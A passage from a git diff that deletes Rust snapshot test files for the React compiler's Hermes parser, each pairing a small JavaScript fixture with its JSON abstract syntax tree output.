-                        "loc": null,
-                        "range": [
-                          101,
-                          109
-                        ]
-                      },
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              114,
-                              115
-                            ]
-                          },
-                          "right": {
-                            "type": "NumericLiteral",
-                            "value": 1.0,
-                            "loc": null,
-                            "range": [
-                              118,
-                              119
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            114,
-                            119
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          114,
-                          120
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      95,
-                      211
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    89,
-                    211
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    89,
-                    211
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  83,
-                  211
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              77,
-              212
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  215,
-                  218
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                215,
-                220
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              215,
-              221
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    233,
-                    234
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    236,
-                    237
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                232,
-                238
-              ]
-            },
-            "loc": null,
-            "range": [
-              225,
-              239
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          241
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        241
-      ],
-      "loc": null,
-      "range": [
-        0,
-        241
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    241
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.todo.destructure-assignment-to-context-var.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.todo.destructure-assignment-to-context-var.js.snap
deleted file mode 100644
index 2e67170f049b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.todo.destructure-assignment-to-context-var.js.snap
+++ /dev/null
@@ -1,347 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.todo.destructure-assignment-to-context-var.js
----
-Input:
-function useFoo(props) {
-  let x;
-  [x] = props;
-  const foo = () => {
-    x = getX(props);
-  };
-  foo();
-  return { x };
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "useFoo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          15
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            21
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    31,
-                    32
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  31,
-                  32
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              27,
-              33
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "ArrayPattern",
-                "elements": [
-                  {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      37,
-                      38
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  36,
-                  39
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  42,
-                  47
-                ]
-              },
-              "loc": null,
-              "range": [
-                36,
-                47
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              36,
-              48
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "foo",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    57,
-                    60
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              75,
-                              76
-                            ]
-                          },
-                          "right": {
-                            "type": "CallExpression",
-                            "callee": {
-                              "type": "Identifier",
-                              "name": "getX",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                79,
-                                83
-                              ]
-                            },
-                            "arguments": [
-                              {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  84,
-                                  89
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              79,
-                              90
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            75,
-                            90
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          75,
-                          91
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      69,
-                      95
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    63,
-                    95
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    63,
-                    95
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  57,
-                  95
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              51,
-              96
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  99,
-                  102
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                99,
-                104
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              99,
-              105
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ObjectExpression",
-              "properties": [
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      117,
-                      118
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      117,
-                      118
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    117,
-                    118
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                115,
-                120
-              ]
-            },
-            "loc": null,
-            "range": [
-              108,
-              121
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          23,
-          123
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        123
-      ],
-      "loc": null,
-      "range": [
-        0,
-        123
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    123
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.useMemo-callback-generator.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.useMemo-callback-generator.js.snap
deleted file mode 100644
index 6074deececbb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.useMemo-callback-generator.js.snap
+++ /dev/null
@@ -1,217 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.useMemo-callback-generator.js
----
-Input:
-function component(a, b) {
-  // we don't handle generators at all so this test isn't
-  // useful for now, but adding this test in case we do
-  // add support for generators in the future.
-  let x = useMemo(function* () {
-    yield a;
-  }, []);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    194,
-                    195
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      198,
-                      205
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "FunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "ExpressionStatement",
-                            "expression": {
-                              "type": "YieldExpression",
-                              "argument": {
-                                "type": "Identifier",
-                                "name": "a",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  231,
-                                  232
-                                ]
-                              },
-                              "delegate": false,
-                              "loc": null,
-                              "range": [
-                                225,
-                                232
-                              ]
-                            },
-                            "directive": null,
-                            "loc": null,
-                            "range": [
-                              225,
-                              233
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          219,
-                          237
-                        ]
-                      },
-                      "generator": true,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        206,
-                        237
-                      ],
-                      "loc": null,
-                      "range": [
-                        206,
-                        237
-                      ]
-                    },
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        239,
-                        241
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    198,
-                    242
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  194,
-                  242
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              190,
-              243
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                253,
-                254
-              ]
-            },
-            "loc": null,
-            "range": [
-              246,
-              255
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          257
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        257
-      ],
-      "loc": null,
-      "range": [
-        0,
-        257
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    257
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.while-with-assignment-in-test.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.while-with-assignment-in-test.js.snap
deleted file mode 100644
index e491fb67d0d7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.while-with-assignment-in-test.js.snap
+++ /dev/null
@@ -1,367 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.while-with-assignment-in-test.js
----
-Input:
-function f(reader) {
-  const queue = [1, 2, 3];
-  let value = 0;
-  let sum = 0;
-  // BUG: we need to codegen the complex test expression
-  while ((value = queue.pop()) != null) {
-    sum += value;
-  }
-  return sum;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "f",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          10
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "reader",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            11,
-            17
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "queue",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        38,
-                        39
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 2.0,
-                      "loc": null,
-                      "range": [
-                        41,
-                        42
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 3.0,
-                      "loc": null,
-                      "range": [
-                        44,
-                        45
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    37,
-                    46
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  46
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              23,
-              47
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "value",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    54,
-                    59
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    62,
-                    63
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  54,
-                  63
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              50,
-              64
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "sum",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    71,
-                    74
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    77,
-                    78
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  71,
-                  78
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              67,
-              79
-            ]
-          },
-          {
-            "type": "WhileStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "AssignmentExpression",
-                "operator": "=",
-                "left": {
-                  "type": "Identifier",
-                  "name": "value",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    147,
-                    152
-                  ]
-                },
-                "right": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "queue",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        155,
-                        160
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "pop",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        161,
-                        164
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      155,
-                      164
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    155,
-                    166
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  147,
-                  166
-                ]
-              },
-              "operator": "!=",
-              "right": {
-                "type": "NullLiteral",
-                "loc": null,
-                "range": [
-                  171,
-                  175
-                ]
-              },
-              "loc": null,
-              "range": [
-                146,
-                175
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "+=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "sum",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        183,
-                        186
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "value",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        190,
-                        195
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      183,
-                      195
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    183,
-                    196
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                177,
-                200
-              ]
-            },
-            "loc": null,
-            "range": [
-              139,
-              200
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "sum",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                210,
-                213
-              ]
-            },
-            "loc": null,
-            "range": [
-              203,
-              214
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          19,
-          216
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        216
-      ],
-      "loc": null,
-      "range": [
-        0,
-        216
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    216
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-destructured-rest-element.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-destructured-rest-element.js.snap
deleted file mode 100644
index 47f45086bf04..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-destructured-rest-element.js.snap
+++ /dev/null
@@ -1,392 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/escape-analysis-destructured-rest-element.js
----
-Input:
-function Component(props) {
-  // b is an object, must be memoized even though the input is not memoized
-  const { a, ...b } = props.a;
-  // d is an array, mut be memoized even though the input is not memoized
-  const [c, ...d] = props.c;
-  return <div b={b} d={d}></div>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ObjectPattern",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          114,
-                          115
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          114,
-                          115
-                        ]
-                      },
-                      "kind": "init",
-                      "computed": false,
-                      "shorthand": true,
-                      "method": false,
-                      "loc": null,
-                      "range": [
-                        114,
-                        115
-                      ]
-                    },
-                    {
-                      "type": "RestElement",
-                      "argument": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          120,
-                          121
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        117,
-                        121
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    112,
-                    123
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      126,
-                      131
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      132,
-                      133
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    126,
-                    133
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  112,
-                  133
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              106,
-              134
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "c",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        218,
-                        219
-                      ]
-                    },
-                    {
-                      "type": "RestElement",
-                      "argument": {
-                        "type": "Identifier",
-                        "name": "d",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          224,
-                          225
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        221,
-                        225
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    217,
-                    226
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      229,
-                      234
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "c",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      235,
-                      236
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    229,
-                    236
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  217,
-                  236
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              211,
-              237
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    248,
-                    251
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "b",
-                      "loc": null,
-                      "range": [
-                        252,
-                        253
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          255,
-                          256
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        254,
-                        257
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      252,
-                      257
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "d",
-                      "loc": null,
-                      "range": [
-                        258,
-                        259
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "d",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          261,
-                          262
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        260,
-                        263
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      258,
-                      263
-                    ]
-                  }
-                ],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  247,
-                  264
-                ]
-              },
-              "children": [],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    266,
-                    269
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  264,
-                  270
-                ]
-              },
-              "loc": null,
-              "range": [
-                247,
-                270
-              ]
-            },
-            "loc": null,
-            "range": [
-              240,
-              271
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          273
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        273
-      ],
-      "loc": null,
-      "range": [
-        0,
-        273
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    273
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-jsx-child.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-jsx-child.js.snap
deleted file mode 100644
index 0ac5d0262bfb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@escape-analysis-jsx-child.js.snap
+++ /dev/null
@@ -1,420 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/escape-analysis-jsx-child.js
----
-Input:
-function foo(a, b, c) {
-  const x = [];
-  if (a) {
-    const y = [];
-    if (b) {
-      y.push(c);
-    }
-    x.push(<div>{y}</div>);
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    32,
-                    33
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    36,
-                    38
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  32,
-                  38
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              39
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                46,
-                47
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "const",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          61,
-                          62
-                        ]
-                      },
-                      "init": {
-                        "type": "ArrayExpression",
-                        "elements": [],
-                        "loc": null,
-                        "range": [
-                          65,
-                          67
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        61,
-                        67
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    55,
-                    68
-                  ]
-                },
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      77,
-                      78
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "y",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                88,
-                                89
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "push",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                90,
-                                94
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              88,
-                              94
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "c",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                95,
-                                96
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            88,
-                            97
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          88,
-                          98
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      80,
-                      104
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    73,
-                    104
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
